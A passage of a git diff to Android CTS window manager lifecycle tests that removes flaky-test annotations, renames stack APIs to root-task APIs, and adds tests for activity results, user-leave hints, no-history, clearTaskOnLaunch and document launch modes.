-        }
-
-        // Exit split-screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Wait for the activity to receive the change
-        final List<LifecycleLog.ActivityCallback> expectedSequence =
-                Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
-                "exitSplitScreen");
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
-                "exitSplitScreen");
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 76919d7..a9264ee 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -21,6 +21,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
 import static android.server.wm.WindowManagerState.STATE_PAUSED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
@@ -40,6 +41,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 import static android.server.wm.lifecycle.LifecycleVerifier.transition;
 import static android.view.Surface.ROTATION_0;
@@ -58,7 +60,6 @@
 import android.content.pm.ActivityInfo;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import com.android.compatibility.common.util.AmUtils;
@@ -159,11 +160,11 @@
 
         final ComponentName firstActivityName = getComponentName(FirstActivity.class);
         mWmState.computeState(firstActivityName);
-        int firstActivityStack = mWmState.getStackIdByActivity(firstActivityName);
+        int firstActivityStack = mWmState.getRootTaskIdByActivity(firstActivityName);
 
         // Move translucent activity into the stack with the first activity
         getLifecycleLog().clear();
-        moveActivityToStackOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
+        moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
 
         // Wait for translucent activity to resume and first activity to pause
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
@@ -266,7 +267,6 @@
                 Arrays.asList(ON_RESUME), "secondDestroy");
     }
 
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishBottom() throws Exception {
         final Activity bottomActivity = launchActivityAndWait(FirstActivity.class);
@@ -286,13 +286,11 @@
                 "destroyOnBottom");
     }
 
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAndLaunchOnResult() throws Exception {
         testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESULT);
     }
 
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAndLaunchAfterOnResultInOnResume() throws Exception {
         testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT);
@@ -550,6 +548,32 @@
     }
 
     @Test
+    public void testLaunchActivityWithFlagForwardResult() throws Exception {
+        final ActivityMonitor resultMonitor = getInstrumentation().addMonitor(
+                ResultActivity.class.getName(), null /* result */, false /* block */);
+
+        new Launcher(LaunchForwardResultActivity.class)
+                .setExpectedState(ON_STOP)
+                .setNoInstance()
+                .launch();
+
+        final Activity resultActivity = getInstrumentation()
+                .waitForMonitorWithTimeout(resultMonitor, 5000);
+        getInstrumentation().runOnMainSync(resultActivity::finish);
+        waitAndAssertActivityStates(state(LaunchForwardResultActivity.class,
+                ON_TOP_POSITION_GAINED));
+
+        // verify the result have sent back to original activity
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                        ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
+                        ON_TOP_POSITION_GAINED);
+        LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
+                expectedSequence, "becomingVisibleResumed");
+    }
+
+    @Test
     public void testOnActivityResult() throws Exception {
         new Launcher(LaunchForResultActivity.class)
                 .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
@@ -584,7 +608,6 @@
     }
 
     @Test
-    @FlakyTest(bugId=127741025)
     public void testOnActivityResultAfterStop() throws Exception {
         final ActivityMonitor resultMonitor = getInstrumentation().addMonitor(
                 ResultActivity.class.getName(), null /* result */, false /* block */);
@@ -923,7 +946,6 @@
                 FirstActivity.class);
     }
 
-    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
     @Test
     public void testFinishBelowDialogActivity() throws Exception {
         verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_PAUSE, "onPause",
@@ -948,7 +970,6 @@
         waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
     }
 
-    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
     @Test
     public void testFinishBelowTranslucentActivityAfterDelay() throws Exception {
         final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
@@ -964,7 +985,6 @@
                 getLifecycleLog(), "finishBelow");
     }
 
-    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
     @Test
     public void testFinishBelowFullscreenActivityAfterDelay() throws Exception {
         final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
@@ -979,4 +999,60 @@
         LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
                 "finishBelow");
     }
+
+    @Test
+    public void testSingleTopActivityOnActivityResultNewTask() throws Exception {
+        testSingleTopActivityForResult(true /* newTask */);
+    }
+
+    @Test
+    public void testSingleTopActivityOnActivityResult() throws Exception {
+        testSingleTopActivityForResult(false /* newTask */);
+    }
+
+    private void testSingleTopActivityForResult(boolean newTask) throws Exception {
+        // Launch a singleTop activity
+        final Launcher launcher = new Launcher(SingleTopActivity.class)
+                .setExtraFlags(EXTRA_LAUNCH_ACTIVITY);
+
+        if (newTask) {
+            launcher.setExtraFlags(EXTRA_NEW_TASK);
+        }
+        final Activity activity = launcher.launch();
+        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+
+        // Verify the result have been sent back to original activity
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(SingleTopActivity.class, ON_ACTIVITY_RESULT),"activityResult");
+    }
+
+    @Test
+    public void testLaunchOnUserLeaveHint() throws Exception {
+        new Launcher(FirstActivity.class)
+                .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+                .launch();
+
+        getLifecycleLog().clear();
+        launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+    }
+
+    @Test
+    public void testLaunchOnUserLeaveHintWithNoUserAction() throws Exception {
+        new Launcher(FirstActivity.class)
+                .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+                .launch();
+
+        getLifecycleLog().clear();
+        new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+        LifecycleVerifier.assertTransitionNotObserved(getLifecycleLog(),
+                transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index 7bbf9c1..94a678c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -77,8 +77,6 @@
     @Before
     public void setUp() throws Exception {
         super.setUp();
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
     }
 
     @Test
@@ -286,22 +284,28 @@
     public void testTopPositionLostWhenDocked() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
     }
 
     @Test
     public void testTopPositionSwitchToAnotherVisibleActivity() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
+        // Launch side activity
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
@@ -317,14 +321,18 @@
     public void testTopPositionSwitchBetweenVisibleActivities() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
+        // Launch side activity
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Activity secondActivity = new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
@@ -453,14 +461,18 @@
     public void testTopPositionSwitchOnTap() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
+        // Launch side activity
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Activity secondActivity = new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
@@ -496,6 +508,9 @@
     public void testTopPositionSwitchOnTapSlowDifferentProcess() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
+        // Launch side activity
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Intent slowTopReleaseIntent = new Intent();
         slowTopReleaseIntent.putExtra(SlowActivity.EXTRA_CONTROL_FLAGS,
@@ -506,10 +521,11 @@
         final Class<? extends Activity> firstActivityClass = firstActivity.getClass();
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Class<? extends Activity> secondActivityClass =
                 SecondProcessCallbackTrackingActivity.class;
         final ComponentName secondActivityComponent =
@@ -557,6 +573,9 @@
     public void testTopPositionSwitchOnTapTimeoutDifferentProcess() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
+        // Launch side activity
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Intent slowTopReleaseIntent = new Intent();
         slowTopReleaseIntent.putExtra(SlowActivity.EXTRA_CONTROL_FLAGS,
@@ -567,10 +586,11 @@
         final Class<? extends Activity> slowActivityClass = slowActivity.getClass();
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(slowActivity);
+        moveTaskToPrimarySplitScreenAndVerify(slowActivity, sideActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Class<? extends Activity> secondActivityClass =
                 SecondProcessCallbackTrackingActivity.class;
         final ComponentName secondActivityComponent =
@@ -705,8 +725,8 @@
             getLifecycleLog().clear();
         }
 
-        // Lock screen removed, but nothing should change.
-        // Wait for something here, but don't expect anything to happen.
+        // When the lock screen is removed, the ShowWhenLocked activity will be dismissed using the
+        // back button, which should finish the activity.
         waitAndAssertActivityStates(state(showWhenLockedActivity, ON_DESTROY));
         LifecycleVerifier.assertResumeToDestroySequence(
                 ShowWhenLockedCallbackTrackingActivity.class, getLifecycleLog());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index afa03c2..f5d1693 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -23,10 +23,11 @@
 import static android.content.Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
+import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.WindowManagerState.STATE_DESTROYED;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
+import static android.server.wm.app.Components.NO_HISTORY_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -34,14 +35,15 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-
 import android.server.wm.ActivityLauncher;
+import android.server.wm.app.Components;
 
 import org.junit.Test;
 
@@ -69,7 +71,12 @@
             = getComponentName(TestLaunchingActivity.class);
     private static final ComponentName LAUNCHING_AND_FINISH_ACTIVITY
             = getComponentName(LaunchingAndFinishActivity.class);
-
+    private static final ComponentName CLEAR_TASK_ON_LAUNCH_ACTIVITY
+            = getComponentName(ClearTaskOnLaunchActivity.class);
+    private static final ComponentName FINISH_ON_TASK_LAUNCH_ACTIVITY
+            = getComponentName(FinishOnTaskLaunchActivity.class);
+    private static final ComponentName DOCUMENT_INTO_EXISTING_ACTIVITY
+            = getComponentName(DocumentIntoExistingActivity.class);
 
     /**
      * Ensures that the following launch flag combination works when starting an activity which is
@@ -131,6 +138,51 @@
     }
 
     /**
+     * This test case tests show-when-locked behavior for a "no-history" activity.
+     * The no-history activity should be resumed over lockscreen.
+     */
+    @Test
+    public void testLaunchNoHistoryActivityShowWhenLocked() {
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.sleepDevice();
+
+        getLaunchActivityBuilder().setTargetActivity(NO_HISTORY_ACTIVITY)
+                .setIntentExtra(extra -> extra.putBoolean(
+                        Components.NoHistoryActivity.EXTRA_SHOW_WHEN_LOCKED, true))
+                .setUseInstrumentation().execute();
+        waitAndAssertActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED,
+            "Activity should be resumed");
+    }
+
+    /**
+     * This test case tests the behavior for a "no-history" activity after turning the screen off.
+     * The no-history activity must be resumed over lockscreen when launched again.
+     */
+    @Test
+    public void testNoHistoryActivityNotFinished() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        // Launch a no-history activity
+        getLaunchActivityBuilder().setTargetActivity(NO_HISTORY_ACTIVITY)
+                .setIntentExtra(extra -> extra.putBoolean(
+                        Components.NoHistoryActivity.EXTRA_SHOW_WHEN_LOCKED, true))
+                .setUseInstrumentation().execute();
+
+        // Wait for the activity resumed.
+        mWmState.waitForActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED);
+
+        lockScreenSession.sleepDevice();
+
+        // Launch a no-history activity
+        launchActivity(NO_HISTORY_ACTIVITY);
+
+        // Wait for the activity resumed
+        waitAndAssertActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED,
+                "Activity must be resumed");
+    }
+
+    /**
      * This test case tests "single top" activity behavior.
      * - A first launched standard activity and a second launched single top
      * activity are in same task.
@@ -467,6 +519,110 @@
                 mWmState.getTaskByActivity(STANDARD_ACTIVITY).getTaskId());
     }
 
+    /**
+     * This test case tests behavior of activity launched with ClearTaskOnLaunch attribute and
+     * FLAG_ACTIVITY_RESET_TASK_IF_NEEDED. The activities above will be removed from the task when
+     * the clearTaskonlaunch activity is re-launched again.
+     */
+    @Test
+    public void testActivityWithClearTaskOnLaunch() {
+        // Launch a clearTaskonlaunch activity
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(CLEAR_TASK_ON_LAUNCH_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .execute();
+        mWmState.waitForActivityState(CLEAR_TASK_ON_LAUNCH_ACTIVITY, STATE_RESUMED);
+        final int taskId = mWmState.getTaskByActivity(CLEAR_TASK_ON_LAUNCH_ACTIVITY).getTaskId();
+
+        // Launch a standard activity
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(STANDARD_ACTIVITY)
+                .execute();
+        mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_RESUMED);
+
+        // Return to home
+        launchHomeActivity();
+
+        // Launch the clearTaskonlaunch activity again
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(CLEAR_TASK_ON_LAUNCH_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .execute();
+        mWmState.waitForActivityState(CLEAR_TASK_ON_LAUNCH_ACTIVITY, STATE_RESUMED);
+        mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_DESTROYED);
+
+        // Make sure the task for the clearTaskonlaunch activity is front.
+        assertEquals("The task for the clearTaskonlaunch activity must be front.",
+                getActivityName(CLEAR_TASK_ON_LAUNCH_ACTIVITY),
+                mWmState.getTopActivityName(0));
+
+        assertEquals("Instance of the activity in its task must be cleared", 0,
+                mWmState.getActivityCountInTask(taskId, STANDARD_ACTIVITY));
+    }
+
+    /**
+     * This test case tests behavior of activity with finishOnTaskLaunch attribute when the
+     * activity's task is relaunched from home, this activity should be finished.
+     */
+    @Test
+    public void testActivityWithFinishOnTaskLaunch() {
+        // Launch a standard activity.
+        launchActivity(STANDARD_ACTIVITY);
+
+        final int taskId = mWmState.getTaskByActivity(STANDARD_ACTIVITY).getTaskId();
+        final int instances = mWmState.getActivityCountInTask(taskId, null);
+
+        // Launch a activity with finishOnTaskLaunch
+        launchActivity(FINISH_ON_TASK_LAUNCH_ACTIVITY);
+
+        // Make sure instances in task are increased.
+        assertEquals("instances of activity in task must be increased.", instances + 1,
+                mWmState.getActivityCountInTask(taskId, null));
+
+        // Navigate home
+        launchHomeActivity();
+
+        // Simulate to launch the activity from home again
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(STANDARD_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .execute();
+        mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_RESUMED);
+
+        // Make sure the activity is finished.
+        assertEquals("Instance of the activity in its task must be cleared", 0,
+                mWmState.getActivityCountInTask(taskId, FINISH_ON_TASK_LAUNCH_ACTIVITY));
+    }
+
+    @Test
+    public void testActivityWithDocumentIntoExisting() {
+        // Launch a documentLaunchMode="intoExisting" activity
+        launchActivityWithData(DOCUMENT_INTO_EXISTING_ACTIVITY, "test");
+        waitAndAssertActivityState(DOCUMENT_INTO_EXISTING_ACTIVITY, STATE_RESUMED,
+                "Activity should be resumed");
+        final int taskId = mWmState.getTaskByActivity(DOCUMENT_INTO_EXISTING_ACTIVITY).getTaskId();
+
+        // Navigate home
+        launchHomeActivity();
+
+        // Launch the alias activity.
+        final ComponentName componentName = new ComponentName(mContext.getPackageName(),
+                DocumentIntoExistingActivity.class.getPackageName()
+                        + ".ActivityStarterTests$DocumentIntoExistingAliasActivity");
+        launchActivityWithData(componentName, "test");
+
+        waitAndAssertActivityState(DOCUMENT_INTO_EXISTING_ACTIVITY, STATE_RESUMED,
+                "Activity should be resumed");
+        final int taskId2 = mWmState.getTaskByActivity(DOCUMENT_INTO_EXISTING_ACTIVITY).getTaskId();
+        assertEquals("Activity must be in the same task.", taskId, taskId2);
+        assertEquals("Activity is the only member of its task", 1,
+                mWmState.getActivityCountInTask(taskId2, null));
+    }
+
     // Test activity
     public static class StandardActivity extends Activity {
     }
@@ -489,6 +645,14 @@
     }
 
     // Test activity
+    public static class ClearTaskOnLaunchActivity extends Activity {
+    }
+
+    // Test activity
+    public static class FinishOnTaskLaunchActivity extends Activity {
+    }
+
+    // Test activity
     public static class SingleTopActivity extends Activity {
     }
 
@@ -500,6 +664,10 @@
     public static class SingleInstanceActivity extends Activity {
     }
 
+    // Test activity
+    public static class DocumentIntoExistingActivity extends Activity {
+    }
+
     // Launching activity
     public static class TestLaunchingActivity extends Activity {
         @Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index e96e017..2359e9c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -36,7 +36,6 @@
 import android.app.Activity;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Test;
@@ -93,7 +92,6 @@
      * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
      * for root of task.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishTask_FromRoot() throws Exception {
         final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
@@ -121,7 +119,6 @@
      * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
      * for root of task. This version verifies lifecycle when top activity is translucent
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishTask_FromRoot_TranslucentOnTop() throws Exception {
         final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
@@ -150,7 +147,6 @@
      * Verify that {@link Activity#finishAndRemoveTask()} only removes one activity in task if
      * called not for root of task.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishTask_NotFromRoot() throws Exception {
         final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
@@ -175,7 +171,6 @@
      * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity that has a
      * transition set.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAfterTransition() throws Exception {
         final TransitionSourceActivity rootActivity =
@@ -211,7 +206,6 @@
      * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity with no
      * transition set.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAfterTransition_noTransition() throws Exception {
         final Activity rootActivity = launchActivityAndWait(FirstActivity.class);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
index 1a622e8..f000dd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
@@ -51,7 +51,8 @@
         ON_NEW_INTENT,
         ON_MULTI_WINDOW_MODE_CHANGED,
         ON_TOP_POSITION_GAINED,
-        ON_TOP_POSITION_LOST
+        ON_TOP_POSITION_LOST,
+        ON_USER_LEAVE_HINT
     }
 
     interface LifecycleTrackerCallback {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 6045fc7..6f005b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -31,11 +31,13 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.server.wm.lifecycle.ActivityLifecycleClientTestBase.CallbackTrackingActivity;
+import android.server.wm.lifecycle.ActivityLifecycleClientTestBase.ConfigChangeHandlingActivity;
 import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
 import android.util.Pair;
 
@@ -47,6 +49,7 @@
 class LifecycleVerifier {
 
     private static final Class CALLBACK_TRACKING_CLASS = CallbackTrackingActivity.class;
+    private static final Class CONFIG_CHANGE_HANDLING_CLASS = ConfigChangeHandlingActivity.class;
 
     static void assertLaunchSequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog, LifecycleLog.ActivityCallback... expectedSubsequentEvents) {
@@ -301,9 +304,11 @@
         // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
         // don't expect a trailing ON_PAUSE.
         return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
-                ? Arrays.asList(
+                ? CONFIG_CHANGE_HANDLING_CLASS.isAssignableFrom(activityClass)
+                ? Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST)
+                : Arrays.asList(
                 ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
-                ON_CREATE, ON_MULTI_WINDOW_MODE_CHANGED, ON_START, ON_POST_CREATE, ON_RESUME,
+                ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
                 ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                         ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
@@ -386,6 +391,15 @@
                 lifecycleLog.getLog().contains(expectedTransition));
     }
 
+    /**
+     * Assert that a transition was not observer, no particular order.
+     */
+    static void assertTransitionNotObserved(LifecycleLog lifecycleLog,
+            Pair<String, ActivityCallback> expectedTransition, String transition) {
+        assertFalse("Transition " + expectedTransition + " must not be observed during "
+                        + transition, lifecycleLog.getLog().contains(expectedTransition));
+    }
+
     static void assertEmptySequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog, String transition) {
         assertSequence(activityClass, lifecycleLog, new ArrayList<>(), transition);
diff --git a/tests/framework/base/windowmanager/testsdk25/Android.bp b/tests/framework/base/windowmanager/testsdk25/Android.bp
index 3c3016f..2575cab 100644
--- a/tests/framework/base/windowmanager/testsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk25/Android.bp
@@ -26,7 +26,9 @@
         ":cts-wm-aspect-ratio-test-base",
     ],
 
-    sdk_version: "25",
+    sdk_version: "30",
+    min_sdk_version: "25",
+    target_sdk_version: "25",
 
     static_libs: [
         "androidx.test.rules",
diff --git a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
index 2e3446f..0591fca 100644
--- a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
@@ -21,7 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
